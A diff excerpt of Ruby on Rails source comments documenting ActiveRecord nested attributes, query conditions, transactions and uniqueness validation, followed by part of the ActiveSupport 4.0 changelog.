+ # has_one :author
+ # has_many :pages
+ #
+ # accepts_nested_attributes_for :author, :pages
+ # end
+ #
+ # Note that the <tt>:autosave</tt> option is automatically enabled on every
+ # association that accepts_nested_attributes_for is used for.
+ #
+ # === One-to-one
+ #
+ # Consider a Member model that has one Avatar:
+ #
+ # class Member < ActiveRecord::Base
+ # has_one :avatar
+ # accepts_nested_attributes_for :avatar
+ # end
+ #
+ # Enabling nested attributes on a one-to-one association allows you to
+ # create the member and avatar in one go:
+ #
+ # params = { member: { name: 'Jack', avatar_attributes: { icon: 'smiling' } } }
+ # member = Member.create(params[:member])
+ # member.avatar.id # => 2
+ # member.avatar.icon # => 'smiling'
+ #
+ # It also allows you to update the avatar through the member:
+ #
+ # params = { member: { avatar_attributes: { id: '2', icon: 'sad' } } }
+ # member.update params[:member]
+ # member.avatar.icon # => 'sad'
+ #
+ # By default you will only be able to set and update attributes on the
+ # associated model. If you want to destroy the associated model through the
+ # attributes hash, you have to enable it first using the
+ # <tt>:allow_destroy</tt> option.
+ #
+ # class Member < ActiveRecord::Base
+ # has_one :avatar
+ # accepts_nested_attributes_for :avatar, allow_destroy: true
+ # end
+ #
+ # Now, when you add the <tt>_destroy</tt> key to the attributes hash, with a
+ # value that evaluates to +true+, you will destroy the associated model:
+ #
+ # member.avatar_attributes = { id: '2', _destroy: '1' }
+ # member.avatar.marked_for_destruction? # => true
+ # member.save
+ # member.reload.avatar # => nil
+ #
+ # Note that the model will _not_ be destroyed until the parent is saved.
+ #
+ # === One-to-many
+ #
+ # Consider a member that has a number of posts:
+ #
+ # class Member < ActiveRecord::Base
+ # has_many :posts
+ # accepts_nested_attributes_for :posts
+ # end
+ #
+ # You can now set or update attributes on the associated posts through
+ # an attribute hash for a member: include the key +:posts_attributes+
+ # with an array of hashes of post attributes as a value.
+ #
+ # For each hash that does _not_ have an <tt>id</tt> key a new record will
+ # be instantiated, unless the hash also contains a <tt>_destroy</tt> key
+ # that evaluates to +true+.
+ #
+ # params = { member: {
+ # name: 'joe', posts_attributes: [
+ # { title: 'Kari, the awesome Ruby documentation browser!' },
+ # { title: 'The egalitarian assumption of the modern citizen' },
+ # { title: '', _destroy: '1' } # this will be ignored
+ # ]
+ # }}
+ #
+ # member = Member.create(params[:member])
+ # member.posts.length # => 2
+ # member.posts.first.title # => 'Kari, the awesome Ruby documentation browser!'
+ # member.posts.second.title # => 'The egalitarian assumption of the modern citizen'
+ #
+ # You may also set a :reject_if proc to silently ignore any new record
+ # hashes if they fail to pass your criteria. For example, the previous
+ # example could be rewritten as:
+ #
+ # class Member < ActiveRecord::Base
+ # has_many :posts
+ # accepts_nested_attributes_for :posts, reject_if: proc { |attributes| attributes['title'].blank? }
+ # end
+ #
+ # params = { member: {
+ # name: 'joe', posts_attributes: [
+ # { title: 'Kari, the awesome Ruby documentation browser!' },
+ # { title: 'The egalitarian assumption of the modern citizen' },
+ # { title: '' } # this will be ignored because of the :reject_if proc
+ # ]
+ # }}
+ #
+ # member = Member.create(params[:member])
+ # member.posts.length # => 2
+ # member.posts.first.title # => 'Kari, the awesome Ruby documentation browser!'
+ # member.posts.second.title # => 'The egalitarian assumption of the modern citizen'
+ #
+ # Alternatively, :reject_if also accepts a symbol for using methods:
+ #
+ # class Member < ActiveRecord::Base
+ # has_many :posts
+ # accepts_nested_attributes_for :posts, reject_if: :new_record?
+ # end
+ #
+ # class Member < ActiveRecord::Base
+ # has_many :posts
+ # accepts_nested_attributes_for :posts, reject_if: :reject_posts
+ #
+ # def reject_posts(attributed)
+ # attributed['title'].blank?
+ # end
+ # end
+ #
+ # If the hash contains an <tt>id</tt> key that matches an already
+ # associated record, the matching record will be modified:
+ #
+ # member.attributes = {
+ # name: 'Joe',
+ # posts_attributes: [
+ # { id: 1, title: '[UPDATED] An, as of yet, undisclosed awesome Ruby documentation browser!' },
+ # { id: 2, title: '[UPDATED] other post' }
+ # ]
+ # }
+ #
+ # member.posts.first.title # => '[UPDATED] An, as of yet, undisclosed awesome Ruby documentation browser!'
+ # member.posts.second.title # => '[UPDATED] other post'
+ #
+ # By default the associated records are protected from being destroyed. If
+ # you want to destroy any of the associated records through the attributes
+ # hash, you have to enable it first using the <tt>:allow_destroy</tt>
+ # option. This will allow you to also use the <tt>_destroy</tt> key to
+ # destroy existing records:
+ #
+ # class Member < ActiveRecord::Base
+ # has_many :posts
+ # accepts_nested_attributes_for :posts, allow_destroy: true
+ # end
+ #
+ # params = { member: {
+ # posts_attributes: [{ id: '2', _destroy: '1' }]
+ # }}
+ #
+ # member.attributes = params[:member]
+ # member.posts.detect { |p| p.id == 2 }.marked_for_destruction? # => true
+ # member.posts.length # => 2
+ # member.save
+ # member.reload.posts.length # => 1
+ #
+ # Nested attributes for an associated collection can also be passed in
+ # the form of a hash of hashes instead of an array of hashes:
+ #
+ # Member.create(name: 'joe',
+ # posts_attributes: { first: { title: 'Foo' },
+ # second: { title: 'Bar' } })
+ #
+ # has the same effect as
+ #
+ # Member.create(name: 'joe',
+ # posts_attributes: [ { title: 'Foo' },
+ # { title: 'Bar' } ])
+ #
+ # The keys of the hash which is the value for +:posts_attributes+ are
+ # ignored in this case.
+ # However, it is not allowed to use +'id'+ or +:id+ for one of
+ # such keys, otherwise the hash will be wrapped in an array and
+ # interpreted as an attribute hash for a single post.
+ #
+ # Passing attributes for an associated collection in the form of a hash
+ # of hashes can be used with hashes generated from HTTP/HTML parameters,
+ # where there maybe no natural way to submit an array of hashes.
+ #
+ # === Saving
+ #
+ # All changes to models, including the destruction of those marked for
+ # destruction, are saved and destroyed automatically and atomically when
+ # the parent model is saved. This happens inside the transaction initiated
+ # by the parents save method. See ActiveRecord::AutosaveAssociation.
+ #
+ # === Validating the presence of a parent model
+ #
+ # If you want to validate that a child record is associated with a parent
+ # record, you can use <tt>validates_presence_of</tt> and
+ # <tt>inverse_of</tt> as this example illustrates:
+ #
+ # class Member < ActiveRecord::Base
+ # has_many :posts, inverse_of: :member
+ # accepts_nested_attributes_for :posts
+ # end
+ #
+ # class Post < ActiveRecord::Base
+ # belongs_to :member, inverse_of: :posts
+ # validates_presence_of :member
+ # end
+ module ClassMethods

+ #
+ # Supported options:
+ # [:allow_destroy]
+ # If true, destroys any members from the attributes hash with a
+ # <tt>_destroy</tt> key and a value that evaluates to +true+
+ # (eg. 1, '1', true, or 'true'). This option is off by default.
+ # [:reject_if]
+ # Allows you to specify a Proc or a Symbol pointing to a method
+ # that checks whether a record should be built for a certain attribute
+ # hash. The hash is passed to the supplied Proc or the method
+ # and it should return either +true+ or +false+. When no :reject_if
+ # is specified, a record will be built for all attribute hashes that
+ # do not have a <tt>_destroy</tt> value that evaluates to true.
+ # Passing <tt>:all_blank</tt> instead of a Proc will create a proc
+ # that will reject a record where all the attributes are blank excluding
+ # any value for _destroy.
+ # [:limit]
+ # Allows you to specify the maximum number of the associated records that
+ # can be processed with the nested attributes. Limit also can be specified as a
+ # Proc or a Symbol pointing to a method that should return number. If the size of the
+ # nested attributes array exceeds the specified limit, NestedAttributes::TooManyRecords
+ # exception is raised. If omitted, any number associations can be processed.
+ # Note that the :limit option is only applicable to one-to-many associations.
+ # [:update_only]
+ # For a one-to-one association, this option allows you to specify how
+ # nested attributes are to be used when an associated record already
+ # exists. In general, an existing record may either be updated with the
+ # new set of attribute values or be replaced by a wholly new record
+ # containing those values. By default the :update_only option is +false+
+ # and the nested attributes are used to update the existing record only
+ # if they include the record's <tt>:id</tt> value. Otherwise a new
+ # record will be instantiated and used to replace the existing one.
+ # However if the :update_only option is +true+, the nested attributes
+ # are used to update the record's attributes always, regardless of
+ # whether the <tt>:id</tt> is present. The option is ignored for collection
+ # associations.
+ #
+ # Examples:
+ # # creates avatar_attributes=
+ # accepts_nested_attributes_for :avatar, reject_if: proc { |attributes| attributes['name'].blank? }
+ # # creates avatar_attributes=
+ # accepts_nested_attributes_for :avatar, reject_if: :all_blank

+ # # Update all books with 'Rails' in their title

+ #
+ # ==== Parameters
+ #
+ # * +id+ - This should be the id or an array of ids to be updated.
+ # * +attributes+ - This should be a hash of attributes or an array of hashes.
+ #
+ # ==== Examples
+ #
+ # # Updates one record
+ # Person.update(15, user_name: 'Samuel', group: 'expert')
+ #
+ # # Updates multiple records
+ # people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy" } }

+ # Destroys the records matching +conditions+ by instantiating each

+ # collection of objects that were destroyed; each will be frozen, to
+ # reflect that no changes should be made (since they can't be persisted).
+ #
+ # Note: Instantiation, callback execution, and deletion of each
+ # record can be time consuming when you're removing many records at
+ # once. It generates at least one SQL +DELETE+ query per record (or
+ # possibly more, to enforce your callbacks). If you want to delete many

+ # +delete_all+ instead.
+ #
+ # ==== Parameters
+ #
+ # * +conditions+ - A string, array, or hash that specifies which records
+ # to destroy. If omitted, all records are destroyed. See the
+ # Conditions section in the introduction to ActiveRecord::Base for
+ # more information.
+ #
+ # ==== Examples
+ #
+ # Person.destroy_all("last_login < '2004-04-04'")
+ # Person.destroy_all(status: "inactive")
+ # Person.where(age: 0..18).destroy_all

+ # Destroy an object (or multiple objects) that has the given id. The object is instantiated first,
+ # therefore all callbacks and filters are fired off before the object is deleted. This method is
+ # less efficient than ActiveRecord#delete but allows cleanup methods and other actions to be run.
+ #
+ # This essentially finds the object (or multiple objects) with the given id, creates a new object
+ # from the attributes, and then calls destroy on it.
+ #
+ # ==== Parameters
+ #
+ # * +id+ - Can be either an Integer or an Array of Integers.
+ #
+ # ==== Examples
+ #
+ # # Destroy a single object
+ # Todo.destroy(1)
+ #
+ # # Destroy multiple objects
+ # todos = [1,2,3]
+ # Todo.destroy(todos)
+ def destroy(id)

+ # first, and hence not calling the +destroy+ method nor invoking callbacks. This
+ # is a single SQL DELETE statement that goes straight to the database, much more
+ # efficient than +destroy_all+. Be careful with relations though, in particular
+ # <tt>:dependent</tt> rules defined on associations are not honored. Returns the
+ # number of rows affected.
+ #

+ # Both calls delete the affected posts all at once with a single DELETE statement.
+ # If you need to destroy dependent associations or call your <tt>before_*</tt> or
+ # +after_destroy+ callbacks, use the +destroy_all+ method instead.
+ #

+ # #where accepts conditions in one of several formats. In the examples below, the resulting
+ # SQL is given as an illustration; the actual query generated may be different depending
+ # on the database adapter.
+ #
+ # === string
+ #
+ # A single string, without additional arguments, is passed to the query
+ # constructor as a SQL fragment, and used in the where clause of the query.
+ #
+ # Client.where("orders_count = '2'")
+ # # SELECT * from clients where orders_count = '2';
+ #
+ # Note that building your own string from user input may expose your application
+ # to injection attacks if not done properly. As an alternative, it is recommended
+ # to use one of the following methods.
+ #
+ # === array
+ #
+ # If an array is passed, then the first element of the array is treated as a template, and
+ # the remaining elements are inserted into the template to generate the condition.
+ # Active Record takes care of building the query to avoid injection attacks, and will
+ # convert from the ruby type to the database type where needed. Elements are inserted
+ # into the string in the order in which they appear.
+ #
+ # User.where(["name = ? and email = ?", "Joe", "joe at example.com"])
+ # # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe at example.com';
+ #
+ # Alternatively, you can use named placeholders in the template, and pass a hash as the
+ # second element of the array. The names in the template are replaced with the corresponding
+ # values from the hash.
+ #
+ # User.where(["name = :name and email = :email", { name: "Joe", email: "joe at example.com" }])
+ # # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe at example.com';
+ #
+ # This can make for more readable code in complex queries.
+ #
+ # Lastly, you can use sprintf-style % escapes in the template. This works slightly differently
+ # than the previous methods; you are responsible for ensuring that the values in the template
+ # are properly quoted. The values are passed to the connector for quoting, but the caller
+ # is responsible for ensuring they are enclosed in quotes in the resulting SQL. After quoting,
+ # the values are inserted using the same escapes as the Ruby core method <tt>Kernel::sprintf</tt>.
+ #
+ # User.where(["name = '%s' and email = '%s'", "Joe", "joe at example.com"])
+ # # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe at example.com';
+ #
+ # If #where is called with multiple arguments, these are treated as if they were passed as
+ # the elements of a single array.
+ #
+ # User.where("name = :name and email = :email", { name: "Joe", email: "joe at example.com" })
+ # # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe at example.com';
+ #
+ # When using strings to specify conditions, you can use any operator available from
+ # the database. While this provides the most flexibility, you can also unintentionally introduce
+ # dependencies on the underlying database. If your code is intended for general consumption,
+ # test with multiple database backends.
+ #
+ # === hash
+ #
+ # #where will also accept a hash condition, in which the keys are fields and the values
+ # are values to be searched for.
+ #
+ # Fields can be symbols or strings. Values can be single values, arrays, or ranges.
+ #
+ # User.where({ name: "Joe", email: "joe at example.com" })
+ # # SELECT * FROM users WHERE name = 'Joe' AND email = 'joe at example.com'
+ #
+ # User.where({ name: ["Alice", "Bob"]})
+ # # SELECT * FROM users WHERE name IN ('Alice', 'Bob')
+ #
+ # User.where({ created_at: (Time.now.midnight - 1.day)..Time.now.midnight })

+ #
+ # These named \scopes are composable. For instance,
+ # <tt>Shirt.red.dry_clean_only</tt> will produce all shirts that are
+ # both red and dry clean only. Nested finds and calculations also work
+ # with these compositions: <tt>Shirt.red.dry_clean_only.count</tt>
+ # returns the number of garments for which these criteria obtain.
+ # Similarly with <tt>Shirt.red.dry_clean_only.average(:thread_count)</tt>.
+ #
+ # All scopes are available as class methods on the ActiveRecord::Base
+ # descendant upon which the \scopes were defined. But they are also
+ # available to +has_many+ associations. If,
+ #
+ # class Person < ActiveRecord::Base

+ # It's like a simple key/value store baked into your record when you don't care about being able to
+ # query that store outside the context of a single record.
+ #
+ # You can then declare accessors to this store that are then accessible just like any other attribute
+ # of the model. This is very helpful for easily exposing store keys to a form or elsewhere that's
+ # already built around just accessing attributes on the model.
+ #
+ # Make sure that you declare the database column used for the serialized store as a text, so there's
+ # plenty of room.
+ #
+ # You can set custom coder to encode/decode your serialized attributes to/from different formats.
+ # JSON, YAML, Marshal are supported out of the box. Generally it can be any wrapper that provides +load+ and +dump+.
+ #
+ # Examples:
+ #
+ # class User < ActiveRecord::Base

+ # (in such case after configuring the database tasks, you can also use the rake tasks
+ # defined in Active Record).
+ #
+ #
+ # The possible config values are:
+ #
+ # * +env+: current environment (like Rails.env).
+ # * +database_configuration+: configuration of your databases (as in +config/database.yml+).
+ # * +db_dir+: your +db+ directory.

+ # = Active Record Transactions
+ #
+ # Transactions are protective blocks where SQL statements are only permanent
+ # if they can all succeed as one atomic action. The classic example is a
+ # transfer between two accounts where you can only have a deposit if the
+ # withdrawal succeeded and vice versa. Transactions enforce the integrity of
+ # the database and guard the data against program errors or database
+ # break-downs. So basically you should use transaction blocks whenever you
+ # have a number of statements that must be executed together or not at all.
+ #
+ # For example:
+ #
+ # ActiveRecord::Base.transaction do
+ # david.withdrawal(100)
+ # mary.deposit(100)
+ # end
+ #
+ # This example will only take money from David and give it to Mary if neither
+ # +withdrawal+ nor +deposit+ raise an exception. Exceptions will force a
+ # ROLLBACK that returns the database to the state before the transaction
+ # began. Be aware, though, that the objects will _not_ have their instance
+ # data returned to their pre-transactional state.
+ #
+ # == Different Active Record classes in a single transaction
+ #
+ # Though the transaction class method is called on some Active Record class,
+ # the objects within the transaction block need not all be instances of
+ # that class. This is because transactions are per-database connection, not
+ # per-model.
+ #
+ # In this example a +balance+ record is transactionally saved even
+ # though +transaction+ is called on the +Account+ class:
+ #
+ # Account.transaction do
+ # balance.save!
+ # account.save!
+ # end
+ #
+ # The +transaction+ method is also available as a model instance method.
+ # For example, you can also do this:
+ #
+ # balance.transaction do
+ # balance.save!
+ # account.save!
+ # end
+ #
+ # == Transactions are not distributed across database connections
+ #
+ # A transaction acts on a single database connection. If you have
+ # multiple class-specific databases, the transaction will not protect
+ # interaction among them. One workaround is to begin a transaction
+ # on each class whose models you alter:
+ #
+ # Student.transaction do
+ # Course.transaction do
+ # course.enroll(student)
+ # student.units += course.units
+ # end
+ # end
+ #
+ # This is a poor solution, but fully distributed transactions are beyond
+ # the scope of Active Record.
+ #
+ # == +save+ and +destroy+ are automatically wrapped in a transaction
+ #
+ # Both +save+ and +destroy+ come wrapped in a transaction that ensures
+ # that whatever you do in validations or callbacks will happen under its
+ # protected cover. So you can use validations to check for values that
+ # the transaction depends on or you can raise exceptions in the callbacks
+ # to rollback, including <tt>after_*</tt> callbacks.
+ #
+ # As a consequence changes to the database are not seen outside your connection
+ # until the operation is complete. For example, if you try to update the index
+ # of a search engine in +after_save+ the indexer won't see the updated record.
+ # The +after_commit+ callback is the only one that is triggered once the update
+ # is committed. See below.
+ #
+ # == Exception handling and rolling back
+ #
+ # Also have in mind that exceptions thrown within a transaction block will
+ # be propagated (after triggering the ROLLBACK), so you should be ready to
+ # catch those in your application code.
+ #
+ # One exception is the <tt>ActiveRecord::Rollback</tt> exception, which will trigger
+ # a ROLLBACK when raised, but not be re-raised by the transaction block.
+ #
+ # *Warning*: one should not catch <tt>ActiveRecord::StatementInvalid</tt> exceptions
+ # inside a transaction block. <tt>ActiveRecord::StatementInvalid</tt> exceptions indicate that an
+ # error occurred at the database level, for example when a unique constraint
+ # is violated. On some database systems, such as PostgreSQL, database errors
+ # inside a transaction cause the entire transaction to become unusable
+ # until it's restarted from the beginning. Here is an example which
+ # demonstrates the problem:
+ #
+ # # Suppose that we have a Number model with a unique column called 'i'.
+ # Number.transaction do
+ # Number.create(i: 0)
+ # begin
+ # # This will raise a unique constraint error...
+ # Number.create(i: 0)
+ # rescue ActiveRecord::StatementInvalid
+ # # ...which we ignore.
+ # end
+ #
+ # # On PostgreSQL, the transaction is now unusable. The following
+ # # statement will cause a PostgreSQL error, even though the unique
+ # # constraint is no longer violated:
+ # Number.create(i: 1)
+ # # => "PGError: ERROR: current transaction is aborted, commands
+ # # ignored until end of transaction block"
+ # end
+ #
+ # One should restart the entire transaction if an
+ # <tt>ActiveRecord::StatementInvalid</tt> occurred.
+ #
+ # == Nested transactions
+ #
+ # +transaction+ calls can be nested. By default, this makes all database
+ # statements in the nested transaction block become part of the parent
+ # transaction. For example, the following behavior may be surprising:
+ #
+ # User.transaction do
+ # User.create(username: 'Kotori')
+ # User.transaction do
+ # User.create(username: 'Nemu')
+ # raise ActiveRecord::Rollback
+ # end
+ # end
+ #
+ # creates both "Kotori" and "Nemu". Reason is the <tt>ActiveRecord::Rollback</tt>
+ # exception in the nested block does not issue a ROLLBACK. Since these exceptions
+ # are captured in transaction blocks, the parent block does not see it and the
+ # real transaction is committed.
+ #
+ # In order to get a ROLLBACK for the nested transaction you may ask for a real
+ # sub-transaction by passing <tt>requires_new: true</tt>. If anything goes wrong,
+ # the database rolls back to the beginning of the sub-transaction without rolling
+ # back the parent transaction. If we add it to the previous example:
+ #
+ # User.transaction do
+ # User.create(username: 'Kotori')
+ # User.transaction(requires_new: true) do
+ # User.create(username: 'Nemu')
+ # raise ActiveRecord::Rollback
+ # end
+ # end
+ #
+ # only "Kotori" is created. This works on MySQL and PostgreSQL. SQLite3 version >= '3.6.8' also supports it.
+ #
+ # Most databases don't support true nested transactions. At the time of
+ # writing, the only database that we're aware of that supports true nested
+ # transactions, is MS-SQL. Because of this, Active Record emulates nested
+ # transactions by using savepoints on MySQL and PostgreSQL. See
+ # http://dev.mysql.com/doc/refman/5.6/en/savepoint.html
+ # for more information about savepoints.
+ #
+ # === Callbacks
+ #
+ # There are two types of callbacks associated with committing and rolling back transactions:
+ # +after_commit+ and +after_rollback+.
+ #
+ # +after_commit+ callbacks are called on every record saved or destroyed within a
+ # transaction immediately after the transaction is committed. +after_rollback+ callbacks
+ # are called on every record saved or destroyed within a transaction immediately after the
+ # transaction or savepoint is rolled back.
+ #
+ # These callbacks are useful for interacting with other systems since you will be guaranteed
+ # that the callback is only executed when the database is in a permanent state. For example,
+ # +after_commit+ is a good spot to put in a hook to clearing a cache since clearing it from
+ # within a transaction could trigger the cache to be regenerated before the database is updated.
+ #
+ # === Caveats
+ #
+ # If you're on MySQL, then do not use DDL operations in nested transactions
+ # blocks that are emulated with savepoints. That is, do not execute statements
+ # like 'CREATE TABLE' inside such blocks. This is because MySQL automatically
+ # releases all savepoints upon executing a DDL operation. When +transaction+
+ # is finished and tries to release the savepoint it created earlier, a
+ # database error will occur because the savepoint has already been
+ # automatically released. The following example demonstrates the problem:
+ #
+ # Model.connection.transaction do # BEGIN
+ # Model.connection.transaction(requires_new: true) do # CREATE SAVEPOINT active_record_1
+ # Model.connection.create_table(...) # active_record_1 now automatically released
+ # end # RELEASE savepoint active_record_1
+ # # ^^^^ BOOM! database error!
+ # end
+ #
+ # Note that "TRUNCATE" is also a MySQL DDL statement!
+ module ClassMethods
+ # See ActiveRecord::Transactions::ClassMethods for detailed documentation.
+ def transaction(options = {}, &block)
+ # See the ConnectionAdapters::DatabaseStatements#transaction API docs.
+ connection.transaction(options, &block)
+ end
+
+ # This callback is called after a record has been created, updated, or destroyed.
+ #
+ # You can specify that the callback should only be fired by a certain action with
+ # the +:on+ option:
+ #
+ # after_commit :do_foo, on: :create
+ # after_commit :do_bar, on: :update
+ # after_commit :do_baz, on: :destroy

+ # * <tt>:allow_blank</tt> - If set to +true+, skips this validation if the
+ # attribute is blank (default is +false+).
+ # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+ # if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
+ # or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
+ # proc or string should return or evaluate to a +true+ or +false+ value.
+ # * <tt>:unless</tt> - Specifies a method, proc or string to call to
+ # determine if the validation should ot occur (e.g. <tt>unless: :skip_validation</tt>,
+ # or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
+ # method, proc or string should return or evaluate to a +true+ or +false+
+ # value.
+ #
+ # === Concurrency and integrity
+ #
+ # Using this validation method in conjunction with ActiveRecord::Base#save
+ # does not guarantee the absence of duplicate record insertions, because
+ # uniqueness checks on the application level are inherently prone to race
+ # conditions. For example, suppose that two users try to post a Comment at
+ # the same time, and a Comment's title must be unique. At the database-level,
+ # the actions performed by these users could be interleaved in the following manner:
+ #
+ # User 1 | User 2
+ # ------------------------------------+--------------------------------------
+ # # User 1 checks whether there's |
+ # # already a comment with the title |
+ # # 'My Post'. This is not the case. |
+ # SELECT * FROM comments |
+ # WHERE title = 'My Post' |
+ # |
+ # | # User 2 does the same thing and also
+ # | # infers that his title is unique.
+ # | SELECT * FROM comments
+ # | WHERE title = 'My Post'
+ # |
+ # # User 1 inserts his comment. |
+ # INSERT INTO comments |
+ # (title, content) VALUES |
+ # ('My Post', 'hi!') |
+ # |
+ # | # User 2 does the same thing.
+ # | INSERT INTO comments
+ # | (title, content) VALUES
+ # | ('My Post', 'hello!')
+ # |
+ # | # ^^^^^^
+ # | # Boom! We now have a duplicate
+ # | # title!
+ #
+ # This could even happen if you use transactions with the 'serializable'
+ # isolation level. The best way to work around this problem is to add a unique
+ # index to the database table using
+ # ActiveRecord::ConnectionAdapters::SchemaStatements#add_index. In the
+ # rare case that a race condition occurs, the database will guarantee
+ # the field's uniqueness.
+ #
+ # When the database catches such a duplicate insertion,
+ # ActiveRecord::Base#save will raise an ActiveRecord::StatementInvalid
+ # exception. You can either choose to let this error propagate (which
+ # will result in the default Rails exception page being shown), or you
+ # can catch it and restart the transaction (e.g. by telling the user
+ # that the title already exists, and asking him to re-enter the title).
+ # This technique is also known as optimistic concurrency control:
+ # http://en.wikipedia.org/wiki/Optimistic_concurrency_control.
+ #
+ # The bundled ActiveRecord::ConnectionAdapters distinguish unique index
+ # constraint errors from other types of database errors by throwing an
+ # ActiveRecord::RecordNotUnique exception. For other adapters you will
+ # have to parse the (database-specific) exception message to detect such
+ # a case.
+ #
+ # The following bundled adapters throw the ActiveRecord::RecordNotUnique exception:
+ #
+ # * ActiveRecord::ConnectionAdapters::MysqlAdapter.
+ # * ActiveRecord::ConnectionAdapters::Mysql2Adapter.
+ # * ActiveRecord::ConnectionAdapters::SQLite3Adapter.
+ # * ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.

+## Rails 4.0.0 (unreleased) ##
+
+* Fix skipping of filters defined by objects in `ActiveSupport::Callbacks::Callback`.
+
+ *Ben McRedmond*
+
+* An `ActiveSupport::Subscriber` class has been extracted from
+ `ActiveSupport::LogSubscriber`, allowing you to use the event attachment
+ API for other kinds of subscribers.
+
+ *Daniel Schierbeck*
+
+* `Class#class_attribute` accepts an `instance_predicate` option which
+ defaults to `true`. If set to `false` the predicate method will not
+ be defined.
+
+ *Agis Anastasopoulos*
+
+* `fast_xs` support has been removed. Use `String#encode(xml: :attr)`.
+
+* `ActiveSupport::Notifications::Instrumenter#instrument` should
+ yield its payload.
+
+ *stopdropandrew*
+
+* `ActiveSupport::TimeWithZone` raises `NoMethodError` in proper context.
+ Fixes #9772.
+
+ *Yves Senn*
+
+* Fix deletion of empty directories in `ActiveSupport::Cache::FileStore`.
+
+ *Charles Jones*
+
+## Rails 4.0.0.beta1 (February 25, 2013) ##
+
+* Improve singularizing a singular for multiple cases.
+ Fixes #2608 #1825 #2395.
+
+ Example:
+
+ # Before
+ 'address'.singularize # => 'addres'
+
+ # After
+ 'address'.singularize # => 'address'
+
+ *Mark McSpadden*
+
+* Prevent `DateTime#change` from truncating the second fraction, when seconds
+ do not need to be changed.
+
+ *Chris Baynes*
+
+* Added `ActiveSupport::TimeWithZone#to_r` for `Time#at` compatibility.
+
+ Before this change:
+
+ Time.zone = 'Tokyo'
+ time = Time.zone.now
+ time == Time.at(time) # => false
+
+ After the change:
+
+ Time.zone = 'Tokyo'
+ time = Time.zone.now
+ time == Time.at(time) # => true
+
+ *stopdropandrew*
+
+* `ActiveSupport::NumberHelper#number_to_human` returns the number unaltered when
+ the given units hash does not contain the needed key, e.g. when the number provided
+ is less than the largest key provided.
+ Fixes #9269.
+
+ Examples:
+
+ number_to_human(123, units: {}) # => 123
+ number_to_human(123, units: { thousand: 'k' }) # => 123
+
+ *Michael Hoffman*
+
+* Added `beginning_of_minute` support to core ext calculations for `Time` and `DateTime`.
+
+ *Gagan Awhad*
+
+* Add `:nsec` date format.
+
+ *Jamie Gaskins*
+
+* `ActiveSupport::Gzip.compress` allows two optional arguments for compression
+ level and strategy.
+
+ *Beyond*
+
+* Modify `TimeWithZone#as_json` to include 3 decimal places of sub-second accuracy
+ by default, which is optional as per the ISO8601 spec, but extremely useful. Also
+ the default behaviour of `Date#toJSON()` in recent versions of Chrome, Safari and
+ Firefox.
+
+ *James Harton*
+
+* Improve `String#squish` to handle Unicode whitespace. *Antoine Lyset*
+
+* Standardise on `to_time` returning an instance of `Time` in the local system timezone
+ across `String`, `Time`, `Date`, `DateTime` and `ActiveSupport::TimeWithZone`.
+
+ *Andrew White*
+
+* Extract `ActiveSupport::Testing::Performance` into https://github.com/rails/rails-perftest
+ You can add the gem to your `Gemfile` to keep using performance tests.
+
+ gem 'rails-perftest'
+
+ *Yves Senn*
+
+* `Hash.from_xml` raises when it encounters `type="symbol"` or `type="yaml"`.
+ Use `Hash.from_trusted_xml` to parse this XML.
+
+ CVE-2013-0156
+
+ *Jeremy Kemper*
+
+* Deprecate `assert_present` and `assert_blank` in favor of
+ `assert object.blank?` and `assert object.present?`
+
+ *Yves Senn*
+
+* Change `String#to_date` to use `Date.parse`. This gives more consistent error
+ messages and allows the use of partial dates.
+
+ "gibberish".to_date => Argument Error: invalid date
+ "3rd Feb".to_date => Sun, 03 Feb 2013
+
+ *Kelly Stannard*
+
+* It's now possible to compare `Date`, `DateTime`, `Time` and `TimeWithZone`
+ with `Float::INFINITY`. This allows to create date/time ranges with one infinite bound.
+ Example:
+
+ range = Range.new(Date.today, Float::INFINITY)
+
+ Also it's possible to check inclusion of date/time in range with conversion.
+
+ range.include?(Time.now + 1.year) # => true
+ range.include?(DateTime.now + 1.year) # => true
+
+ *Alexander Grebennik*
+
+* Remove meaningless `ActiveSupport::FrozenObjectError`, which was just an alias of `RuntimeError`.
+
+ *Akira Matsuda*
+
+* Introduce `assert_not` to replace warty `assert !foo`. *Jeremy Kemper*
+
+* Prevent `Callbacks#set_callback` from setting the same callback twice.
+
+ before_save :foo, :bar, :foo
+
+ will at first call `bar`, then `foo`. `foo` will no more be called
+ twice.
+
+ *Dmitriy Kiriyenko*
+
+* Add `ActiveSupport::Logger#silence` that works the same as the old `Logger#silence` extension.
+
+ *DHH*
+
+* Remove surrogate unicode character encoding from `ActiveSupport::JSON.encode`
+ The encoding scheme was broken for unicode characters outside the basic multilingual plane;
+ since json is assumed to be UTF-8, and we already force the encoding to UTF-8,
+ simply pass through the un-encoded characters.
+
+ *Brett Carter*
+
+* Deprecate `Time.time_with_date_fallback`, `Time.utc_time` and `Time.local_time`.
+ These methods were added to handle the limited range of Ruby's native `Time`
+ implementation. Those limitations no longer apply so we are deprecating them in 4.0
+ and they will be removed in 4.1.
+
+ *Andrew White*
+
+* Deprecate `Date#to_time_in_current_zone` and add `Date#in_time_zone`. *Andrew White*
+
+* Add `String#in_time_zone` method to convert a string to an `ActiveSupport::TimeWithZone`. *Andrew White*
+
+* Deprecate `ActiveSupport::BasicObject` in favor of `ActiveSupport::ProxyObject`.
+ This class is used for proxy classes. It avoids confusion with Ruby's `BasicObject`
+ class.
+
+ *Francesco Rodriguez*
+
+* Patched `Marshal#load` to work with constant autoloading. Fixes autoloading
+ with cache stores that rely on `Marshal` (`MemCacheStore` and `FileStore`).
+ Fixes #8167.
+
+ *Uriel Katz*
+
+* Make `Time.zone.parse` to work with JavaScript format date strings. *Andrew White*
+
+* Add `DateTime#seconds_until_end_of_day` and `Time#seconds_until_end_of_day`
+ as a complement for `seconds_from_midnight`; useful when setting expiration
+ times for caches, e.g.:
+
+ <% cache('dashboard', expires_in: Date.current.seconds_until_end_of_day) do %>
+ ...
+
+ *Olek Janiszewski*
+
+* No longer proxy `ActiveSupport::Multibyte#class`. *Steve Klabnik*
+
